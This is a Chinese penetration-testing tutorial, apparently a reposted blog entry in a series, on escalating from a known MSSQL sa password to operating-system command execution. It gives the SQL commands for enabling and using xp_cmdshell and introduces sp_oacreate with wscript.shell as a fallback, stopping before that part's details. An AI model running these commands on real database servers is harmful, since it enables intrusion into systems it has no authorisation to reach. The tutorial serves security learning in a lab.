渗透测试之地基服务篇:服务攻防之数据库Mssql(中) – 作者:dayuxiyou

系列文章

专辑:渗透测试之地基篇

简介

渗透测试-地基篇

该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。

请注意

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

名言:

你对这行的兴趣,决定你在这行的成就!

一、前言

数据库作为业务平台信息技术的核心和基础,承载着越来越多的关键数据,渐渐成为单位公共安全中最具有战略性的资产,数据库的安全稳定运行也直接决定着业务系统能否正常使用。并且平台的数据库中往往储存着等极其重要和敏感的信息。这些信息一旦被篡改或者泄露,轻则造成企业经济损失,重则影响企业形象,甚至行业、社会安全。可见,数据库安全至关重要。所以对数据库的保护是一项必须的,关键的,重要的工作任务。

通过前几期钓鱼、内网攻防篇章落幕后,引来了服务攻防篇章之数据库渗透篇,不管在外网还是内网环境,只要存在业务系统都存在数据库,在渗透测试对数据库的知识学习是必不可少的,接下来将介绍数据库的渗透基本操作,带小伙伴们了解和学习数据库如何渗透的!

如果获得MSSQL用户密码如何拿到对方服务器权限呢?接下来将把提权技巧告诉大家!

二、MSSQL-xp_cmdshell进行提权

1、简介

xp_cmdshell是Sql Server中的一个组件,可以用来执行系统命令在拿到sa口令之后,经常可以通过xp_cmdshell来进行提权在这里以Windows Server 2019 和 Sql Server 2019 为例进行测试!

2、查看xp_cmdshell状态

1)首先通过管理工具来查看xp_cmdshell状态
右击实例名-> Facets(A)

1625816388_60e7fd44a65ac3ec5265a.png!small?1625816390982

1625816394_60e7fd4a2ac0753d015d0.png!small?1625816394370

2)可以看到现在的xp_cmdshell是关闭状态
1625816398_60e7fd4ee2d4b0374cfbd.png!small?1625816399399

3)然后我们通过sql指令来查看是否存在xp_cmdshell
右击数据库,新建查询,执行以下命令:

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'

1625816405_60e7fd55acf48eb77593d.png!small?1625816408574可以看到返回结果是1

3、开启xp_cmdshell

1)命令如下:

EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
GO

1625816423_60e7fd675dc4e6098082e.png!small?16258164256711625816417_60e7fd61414f7ba41fb66.png!small可以看到报错提示xp_cmdshell不存在也可能是高级选项,前面已经通过命令查询存在xp_cmdshell组件,那只可能是高级选项!

2)通过命令开启允许编辑高级选项,命令如下

EXEC sp_configure 'show advanced options', 1
GO
RECONFIGURE
GO

1625816431_60e7fd6ff0000a788f171.png!small?1625816435148

3)然后再去开启xp_cmdshell
1625816435_60e7fd73e717db4db7d72.png!small?1625816436373

配置选项 ‘xp_cmdshell’ 已从 0 更改为 1!!

4、通过xp_cmdshell执行系统命令

通过xp_cmdshell执行系统命令指令如下

master..xp_cmdshell 'whoami'

EXEC master.dbo.xp_cmdshell 'ipconfig'

1625816449_60e7fd815369d1cbfe3be.png!small?1625816450007返回的权限是network server,如果被降权那就无法完成提权。

1625816664_60e7fe58ae31cf8c916bb.png!small?1625816665504

5、关闭xp_cmdshell

1)和刚才一样,只不过需要把1改为0

EXEC sp_configure 'xp_cmdshell', 0
GO
RECONFIGURE
GO

1625816671_60e7fe5f8637a92ccc43b.png!small?1625816674240

2)同样,关闭高级选项编辑也是

1625816677_60e7fe65d478836821f7d.png!small?1625816680080

EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',0
RECONFIGURE

三、MSSQL-使用sp_oacreate进行提权

1、前言

如果xp_cmdshell扩展存储过程被删除或者无法使用,可以使用sp_oacreate和sp_oamethod调用系统wscript.shell来执行系统命令。sp_oacreate是一个非常危险的存储过程,可以删除、复制、移动文件,还能配合sp_oamethod来写文件执行cmd。sp_oacreate和sp_oamethod两个过程分别用来创建和执行脚本语言,换言之就是xp_cmdshell能执行的sp_oacreate+sp_oamethod同样能胜任。

2、前提条件

来源:freebuf.com 2021-07-09 15:38:52 by: dayuxiyou

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享